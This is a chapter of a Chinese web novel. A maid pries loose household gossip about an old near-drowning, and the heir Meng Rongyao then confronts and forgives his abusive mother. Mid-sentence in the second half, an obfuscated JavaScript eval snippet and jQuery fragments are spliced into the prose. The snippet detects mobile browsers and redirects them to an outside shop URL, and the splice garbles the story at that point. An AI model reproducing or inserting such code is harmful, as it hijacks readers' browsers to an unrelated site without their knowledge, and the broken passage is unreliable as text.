天子狩猎,人多眼杂是不成的,寻常王孙和小姐都只能各带一个随从,所以明雀这次没有跟着去猎场。
但她现在既然准备接任翠菊的“百事通”位置,就算留在府中,也自有她的事要做。
孟老太君带着小姐去了猎场,府里是孟二奶奶在管,腊梅约束着小丫鬟们,不让她们到处乱跑,免得在外面受了欺负。所以明雀只能在华堂里逛,但她自有她的办法。
她从小就长得甜美精神,又会装乖,专捡婆子媳妇们多的地方去,吃过早饭之后,她就逛到了后面小厨房的院子里。
小厨房还是小杨娘子在管,因为丈夫醉酒去世,一直寡居到现在,自然也没有生子女,只有个收养的小男孩子,叫阿毛,其实和明雀差不多大了,只是有点傻傻的。他脾气很好,非常喜欢明雀,很听她的话。明雀其实是来打探消息的,因为很多媳妇们都聚在厨房的院子里,一边帮小杨娘子择菜一边聊天。但阿毛一见她就高兴,立刻给她搬个板凳来,结结巴巴地道:“坐,明雀坐。”
媳妇们顿时一阵哄笑,都取笑起“阿毛也大了,知道对女孩子好了”,把阿毛急得脸通红,直说:“不是的不是的。”明雀倒没什么,大大方方在板凳上坐下,顺手捡起菜开始择,然后问小杨娘子:“干娘,今天午饭炖了虾仁蒸蛋没有?我们屋里的姐姐都喜欢吃这个。”
“放心,都有,连你喜欢吃的炸藕合也有。”小杨娘子说完,又继续和其他人聊天,说些家长里短,明雀认真听了半天,找个机会插话道:“我看大奶奶也挺厉害的,怎么不见她管家呢?”
“谁说没管过,以前还是管过的,管得不错,后来大爷不在了,又出了那事,就分开住了。”嘴快的王婆子道。
“什么事?”明雀好奇道:“难道是梅花湖的事?”
众人顿时都有点惊讶,王婆子都道:“你这个年纪,怎么会知道梅花湖的事?”
“我怎么不知道,我还以为嫂子们在府里这么久,知道的比我还多呢?原来说的就是梅花湖的事?”明雀故意道。
“好大的口气。”吴娘子冷笑道:“小杨姐姐,你这干女儿可不得了,还知道梅花湖。”
“不就是大奶奶喜欢赏梅花,大爷为她建了个梅花湖,后面老太君觉得见了伤心,就填平了嘛……”明雀不以为然地道。
媳妇们顿时都笑起来。王婆子道:“我还当你这小丫头多厉害,原来也是傻的。”
“不对吗?”明雀一脸老实,拉着吴娘子的手道:“好婶子,你是最厉害的,都说你知道的消息最靠谱,你教教我呗。”
吴娘子是孟妙常的奶妈吴妈妈的儿媳妇,也是府里三代的家生子。明雀知道真正的内幕她一定知道,所以故意摇了她一会儿,但吴娘子稳重,不肯开口,反而是王婆子道:“吴娘子哪肯乱说,你也别问了,就是湖里掉下去过人,所以填了。”
“掉了谁?大奶奶?”明雀只管乱问:“二奶奶,还是三奶奶?”
说到三奶奶,众人都笑了,还是小杨娘子道:“算了,告诉她吧,省得她到处打听,惹主子心烦。”
“好吧,那我告诉你,你可不准到处乱传。”王婆子到底忍不住,凑近明雀耳朵来告诉她:“是大少爷。”
“大少爷?最近才住过来的大少爷?”明雀一脸惊讶:“怪不得呢!是自己掉下去的吗?还是……他那时候多大了?这多危险呀。”
“谁说不是呢。”王婆子叹息道:“那时候还是寒冬腊月呢,大少爷才七岁,又不会水,天可怜见,被个剪花的匠人看见,捞了上来,没有淹死在湖里,不然哪有今天的大少爷。”
“当时身边跟的人呢?”明雀不解。
“就是跟的人不尽心,回去拿了个手炉还是什么,也有说是被人支开的。反正当时大奶奶为这事大闹了一场,说是有人故意害大少爷,一定要老太君主持公道,闹得族里族老都惊动了,还要往山西赶她娘家人来,那时候她父亲都告老还乡了……”
明雀都没想到能问出这么大的事来,顿时惊讶地看着众人。众人也议论纷纷,有说“我怎么听说是跟的丫鬟本来就坏”“再坏也不敢谋害少爷呀,除非有人指使……”
“我看还是跟那位有关系。”有人立刻拿手指比了个“三”字,其余人都认可地点头。
“好了,都不要胡说了。”吴娘子正色道:“你们知道什么,当时又不在场,不过都是道听途说罢了。风言风语地传来传去,像什么样子?”
“那到底真相是怎么样?”明雀立刻追问道,见吴娘子脸色不好,立刻道:“反正大家都说起来了,堵不如疏,吴娘子你拨乱反正,给大家一个定论嘛。”
吴娘子被她逗笑了。
“还知道‘拨乱反正’,到底是表小姐的丫鬟。”她也被明雀缠不过,只能道:“好吧,告诉你们吧。当年的事我是在场的,当时大奶奶为这事几乎气疯了,差点没打死那个丫鬟,丫鬟吃不住打,攀咬到三奶奶身上……”
那个拿手指比三的婆子一脸“我早说了”的表情,但没人理她,连菜也不择了,都专心听吴娘子讲话。
“丫鬟说,是三奶奶支开她的,让她去拿个暖炉来,当时湖边一个人都没有。她回来的时候就看见匠人把大少爷捞了起来。大奶奶因为这事,直接把族老都请来了,逼着老太君要惩治三奶奶,这事闹得天翻地覆……”吴娘子也是讲故事的好手,讲到这里还故意停一下,急得众人都连忙追问“后来呢”,才慢悠悠道:“后来你们不是都知道了,老太君也是要秉公处理的,说只要确定是三奶奶干的,一定不会放过她。结果有两个扫雪的婆子出来作证,说那天看到三奶奶和大奶奶的丫鬟说完话,就朝静心阁走了。静心阁的丫鬟也作证,说三奶奶确实在里面抄经抄了一下午。事情到了这,就是死胡同了。大奶奶不管不顾,一定要惩治三奶奶,大少爷捞上来之后就大病了一场,她非说大少爷昏迷时说了‘婶子,别推我’五个字,一定要三奶奶偿命。否则就要告御状,要告三奶奶谋害忠臣遗孤,告老祖宗包庇……”
“后来呢?”明雀也忍不住问。
“后来老太君把大奶奶叫进房间,不知道给她看了什么,据说是大爷殉职时的圣旨。因为都说大爷在任上死得蹊跷,虽说是民变被杀,但仍有疑点,连殉职朝廷都有些不认,让她不要闹了,好好抚养大少爷长大,要是愿意再嫁也行……论理说,大奶奶是向来就有些偏执,大爷在的时候,她就不把二奶奶和三奶奶放在眼里,以她们为耻。总之,大奶奶从那之后就有些疯了,又跟我们分府居住,不往来了。三奶奶从那之后,本来要改好的,也自暴自弃,越变越坏了,大概是怪老太君不相信她……然后就到今天了。”吴娘子叹气道:“所以都说当媳妇难,其实当家也难,这陈年旧案,谁断得明白呢?”
众人听得都唏嘘不已,只有明雀心中担忧:“霜纹一心要帮孟容曜,但他这个母亲,看起来可是一点也不好惹呢。”
-
霍怀恩没想到孟容曜竟然把他带回了孟家。所以一见到大门,顿时笑了,道:“我还没来孟家做过客呢。”
孟容曜只骑在马上,淡淡道:“霍大人不是早就去过二门了吗?”
霍怀恩顿时忍不住笑了,两人互看一眼,连他也有点不好意思,有种欺负了人家家里女眷,最终被兴师问罪的感觉。
这是男人和男人之间的对话。孟妙常如果在这,也许不会意外。这是那天她和柳无忧在孟容曜身上看到过的东西,是顶门立户的、属于“哥哥”的东西。
孟家是出过好郎君的。虽然都没能活到如今,但也不全是酒囊饭袋。孟家的女眷,也不是任人欺负的,至少现在有个孟容曜了。
所以霍怀恩也只能道歉,道:“事急从权,何况我已经被‘翡翠姐姐’教训过了。”
他现在三句话不离翡翠,孟容曜也懒得提醒他。世上再聪明的人也有身在此山中的时候,他自有他自己的事要干。
他直接带着霍怀恩进了大房的院子,已经是黄昏,更显得草木幽深,佛堂也更加偏僻幽静。孟大奶奶在佛堂常常不爱点灯,只有佛前的供灯昏黄如豆。他在这里跪过无数次,年纪小的时候总不知道外面还有世界,以为自己总有一天要被打死在这里。
孟大奶奶果然在佛前供香。
这是霍怀恩第一次见到传说中的孟大奶奶,她年轻时的容貌已经消蚀殆尽,如今干瘦得如同一只病鹤,身上穿的衣裳是过了时的昂贵绸缎。整个佛堂都像她一样,带着沉沉的暮气。但霍怀恩仍然像对长辈一样上前行礼,道:“捕雀处霍怀恩,见过孟夫人。”
孟大奶奶果然出口就伤人。
“哦?”她第一句话就骂孟容曜:“你交到了厉害朋友了?出息了,带着捕雀处的霍大人来威胁你母亲了?”
孟容曜的回答让霍怀恩决定退出了这个佛堂。
他说:“母亲,他是我的朋友。”
霍大人抱着手站在佛堂外的古柏树下,没有来由地想起那天在凝翠寺的柏树。
“翡翠姐姐”这时候在干什么呢?她一定在猎场预备晚饭了,霍怀恩想起她给自己讲解茶点的样子,莫名有点走神。
孟容曜一个人站在佛堂中,听着孟大奶奶的辱骂。开始总是从他的出生说起,说他克死了他父亲,说他小时候险些被人淹死,是她救了他,守着病重的他半年,然后开始后悔,早知道不如让他病死在那时候,然后开始要他做他应该做的事,要他读书,要他上进,要他拿回他父亲的东西……
“我考中解元了,母亲。”他等她骂累了的时候,平静地补上:“我知道的,三元及第,上达天听。”
孟大奶奶敏锐地察觉到了他的反抗情绪。
“怎么?你不想给你父亲报仇了?你难道不想让他沉冤昭雪?”
“我小的时候,其实很怕你要我做的事。”孟容曜平静告诉她:“书上说君子远庖厨。但我小时候一个玩伴也没有,忍不住去看厨房的鸡鸭。你说:‘鸡鸭知道自己一生下来就是为了有一天被人吃掉吗?如果它们知道,会选择逃跑吗?’”
孟大奶奶坐在蒲团上,眼中恨意熊熊燃烧,似乎都朝着他,但又似乎从来没看见过他这个人。孟容曜其实是在最近才确定这一点的。她的恨其实不是对他,就好像她每次打他的时候,其实也从来没有看见他。
被人真正看见过之后,就无法忍受这种错位的爱与恨了。
“哦,所以你是怕死了?”孟大奶奶冷笑道:“我就知道你是个孬种,你是个废物,讨债的孽障,亏我还指望你替你父亲申冤……”
“父亲的案子翻不了了。”孟容曜仍然平静地告诉她:“当年的案卷全部丢在了苏州,就算有,我们在京城,也找不到线索……”
“谁说不能翻,只要你考中状元,三元及第……”孟大奶奶急切地辩解道。
“三元及第,上达天听。”孟容曜替她补全接下来的话,也补全霍怀恩之所以提前来堵截他的理由:“你其实是希望我用自己的人生,为我父亲的清白做证明。在殿试的时候,忽然喊冤,打官家一个措手不及,就像戏里的那样,对吗?至于官家会不会发怒,我的命运,和孟家的命运会如何,你都不在乎了,是吗?”
“为什么要在乎孟家的命运,孟家在乎过我们吗?当年梅花湖的事……”
“梅花湖的事,我自己查过。当年的情况下,哪怕我是祖母,也只能做同样的事。”他告诉孟大奶奶。
一个烛台飞了过来,擦伤了他的额角。孟大奶奶扑上来,对他又打又骂:“你这个叛徒,你果然听了那个老东西的……”
如果霜纹在这,一定会很心疼他。傻乎乎的孟容曜,面对着老太君的示好,说的是“我不能背叛我母亲”,然而在自己母亲面前,却一字不提。
孟容曜收起思绪,抓住了孟大奶奶的手,他已经很高了,也很强壮了,他其实可以逃跑,也可以阻止她,只是他以前似乎从来没想过这一点。
孟大奶奶错愕地看着他,孟容曜轻轻推开了她,但这一下似乎对她都很重,她跌坐在蒲团上,有些震惊地看着他,像是不习惯来自于他的反抗。
“畜生!”她立刻骂道:“你还想对你母亲动手不成?”
“我倒希望我是个畜生。”孟容曜平静地告诉她:“哪怕是鸡鸭呢?如果知道自己要被杀,也是会逃跑的。但我从小时候知道自己的‘使命’之后,从没想过逃跑,甚至连偷懒也不知道,我只想完成你希望我完成的事。就连在最愤怒的梦里,我想的也是考上状元,在金銮殿上替父亲申完冤,然后一头撞死,让你后悔……”
“但你是不会后悔的,是吗?母亲。你只会觉得我本来就脆弱,是你打我打得不够狠,是我还不够孝顺,不够听话。”他话锋一转道:“所以我现在才明白,唯一让你后悔的方式,其实是不按你安排的那样做,让你所有的希望全部落空……”
“你敢!”孟大奶奶又弹起来,本能地想打他,但想起他刚才推的那一下和他的威胁,又有些色厉内荏:“你不敢的!你怕受千夫所指,不孝的人是要遭天谴的……”
“什么天谴?”孟容曜笑了起来,他站在黑暗里,只有佛前的一点光在他脸上跳跃。他问孟大奶奶:“什么样的天谴,会比我这十四年更痛苦呢?我被一个疯子折磨了这么多年,母亲!”
疯了的人被点破的时候,总会有种错愕感。孟大奶奶跌坐在蒲团上,神色变换,孟容曜只是安静地看着她。
真奇怪,压在自己身上那么多年的山,真推开的一瞬间,原来那么轻。就像他刚才那一推的时候,也十分错愕,原来她这么瘦,这么矮,轻轻一推
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17619848|205972||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
就能推开。
那自己这么多年的痛苦,该向谁就讨债呢?
他忽然明白孟大奶奶为什么要折磨他,原来人在痛苦到极致的时候,是不管这一切的,只想向全世界报复。就让这一切爆发又如何,毁了秋闱,毁了春闱,毁了三元及第,也毁了大周的殿试,霍怀恩觉察到又如何。他是天子身前的防线,他很聪明,知道替自己的师父提前排除危险。但孟容曜也不是骗不过他,就策划一场骗局又如何,就在金銮殿上爆发,让一切人随之陪葬,哪管他洪水滔天?
柳无忧写《秋水记》上半部的时候,是不是就在期待这下半部由他来写呢?
但哪怕是最黑暗的地方,也是有光的。就像昨晚,霜纹拿着一盏小灯,跑到他的帐篷里来问他一个好笑的问题,孟容曜装着睡,看见她悄悄靠近,满脑子想的是:她就连影子也这么可爱。
光是想到她还在这个世上活着,他忽然就没那么想那场洪水的到来了。
“你不准备申冤了?”孟大奶奶的声音打断了他的思绪,她似乎忽然变老了,也变虚弱了,尽管她确认的方式还是这么凶恶:“你不敢的,你父亲在天有灵……”
“父亲已经死了。”孟容曜告诉她:“就算我查明他的死因,他也不会再回来了。没有人能赔你一个幸福美满的人生了,母亲,就好像没有人能赔给我过去的十四年。”
不知道为什么,他忽然对这一切感到非常厌倦,只想结束这一切。也许是因为孟大奶奶的神色瞬间苍白,也许是因为他想起了霜纹。
如果现在赶回去的话,也许还来得及吃到她做的晚饭,她做饭总是非常难吃,因为什么好东西都想往里面加,还逼着孟容曜吃下去。
“这些都是对你身体好的,等你老了就知道了。”她总是这样信誓旦旦地告诉孟容曜。
她不知道孟容曜没有老的时候了。
皇帐里的那个人有多记仇,世人都清楚。在金銮殿上冒犯他的人,哪怕是状元。纵使当时为形势所迫,不得不答应孟容曜的请命,重新追查孟汝臣的死因,事后也一定要算账……
“但我还是会去做的。”他这样告诉自己母亲:“我会去做,但不是因为你,是因为我自己知道那是正确的事,我知道父亲的死真相未明。我见过父亲的文章和奏折,我知道他做的是利国利民的大事,他不明不白地死在江南。我是读圣贤书的人,就算他不是我的父亲,我也要给他一个真相。但不是因为你。”
“就像我读书读得好,不是因为你打得好,是因为我自己也下了苦功夫。读书不一定要那么痛苦,霜纹说了,轻松开心也能做好学问。”
孟大奶奶立刻嘲讽地笑了,她显然以为自己找到了攻击的点。
“霜纹,那个丫鬟?她是怎么样的出身……”
孟容曜没有给她侮辱霜纹的机会。
“我们又是怎样的出身?孟家不过是造反的兵卒起家,到现在不过百年,外祖父家也才两代……霜纹教我的道理,比所谓高贵的人教给我的要多得多。”他告诉孟大奶奶:“她说,她最开始学戏是因为被打,所以她一直觉得唱戏是耻辱,但后来遇到了她愿意给她唱戏的人,她就释怀了。原来怎么开始的不重要,重要的是这也只是一项技能,如果能取悦自己在乎的人,就有意义。我这十四年的痛苦,在听到她这句话的时候,才彻底释怀。”
她知道那种痛苦,如果顺着他们给自己设计好的路线走,就是背叛小时候痛苦的自己,那些毒打,那些蜷缩在床上痛哭的一个个暗夜,那个茫然而无助的小孩子。但如果不按那个方向走,自己又能去哪呢?甚至他们划出的道还是真正的正道,这多可笑。
但霜纹明白他的痛苦,知道他的愤怒,也给了他解答,以她自己从痛苦中走出的经历。他是解元,但她仍然教会了他,那些他也不知道的东西。
孟大奶奶不会明白他为什么要在这说着霜纹的,他说过的,他是读圣贤书的人,书上说了,君子订亲,是要告知父母的。
尽管他们不能订亲,不是因为霜纹猜测的那个可能。他早已把她视为自己的妻子,早在她察觉到他喜欢她之前。
“她治好了我,母亲。我这十四年的人生里,第一次觉得开心,就是因为她。那感觉很好,像是我经历了十四年的阴雨连绵,第一次看到阳光。她让我觉得温暖,觉得明亮,最重要的,她让我觉得人生不只有痛苦和发霉而已。”他这样告诉孟大奶奶。
“如果可以的话,我希望有人也能治好你。但我知道我做不到。你恨的不是我,想打的也不是我,但没关系,在我做完我应该为父亲做的事之后,我还会请一道旨意,我会请官家允许你日后再嫁,带走嫁妆,保留诰命,不必守节。”他看着自己母亲的眼神,神色平静。
他说:“我希望你有一天也能像我一样感到快乐,母亲。”
一阵巨大的恐慌席卷过孟大奶奶的心头,她终于在这一刻明白了他在干什么。
他在告别。
不是控诉,不是示威,甚至不是反击,他在告别。在她意识到之前,他早已悟明白这十四年的始末,他原谅了她,因为他不再在乎她了,他看她如同世上任何一个陌生人没有区别……
然后他要去赴他的命运了,那场必死的命运。
他转身离去时,孟大奶奶忽然像大梦初醒般一样,从地上一跃而起,冲上去抱住了他。
她仍然像个疯子,只是不再咒骂,不再控诉,说的话更像疯子的梦呓。
“当年,我十七岁,去看新进士游街。在高楼上抛花,一眼就看中了你父亲。出嫁那天,我的嫁妆排满了一整条街。第一年宫宴,我们就直接坐在官家下手的第一席,官家说我们是‘自家人’,多少夫人羡慕地看着我。那时候的日子仿佛都是闪着金光的……”她这样喃喃自语。
“那样的日子不会再回来了。”孟容曜这样平静地告诉她,就像他过去的十四年,本该快乐的童年一样,不会再回去了:“娘,你去过自己的日子吧,我也要去做我该做的事了……”
而她也终于流下眼泪。
“不要恨我,容曜,不要恨我……”
她仍抓着他的手,无措地摩挲着。她在他手上摸到了伤疤,陈年的伤疤,一个又一个,比松树皮都更粗糙。这是她儿子,曾经也如同心肝般娇贵,选袜子选尽了布料,只怕刮伤他的皮肤。她像是丢失了十年的时光,跌跌撞撞地走到了今天。
她没有再说不要恨我,只是在他怀中痛哭起来,如同那个十七岁在花楼上抛花的少女,不知道等在前面的命运的巨口有多险恶。
“对不起,对不起。”她终于叫他的名字:“一定很疼吧,阿宝。”
正如霜纹所说,他的父母也曾经爱过他,所以才会给他起这样的名字,如珠似宝,什么都不要,只要他一切都好。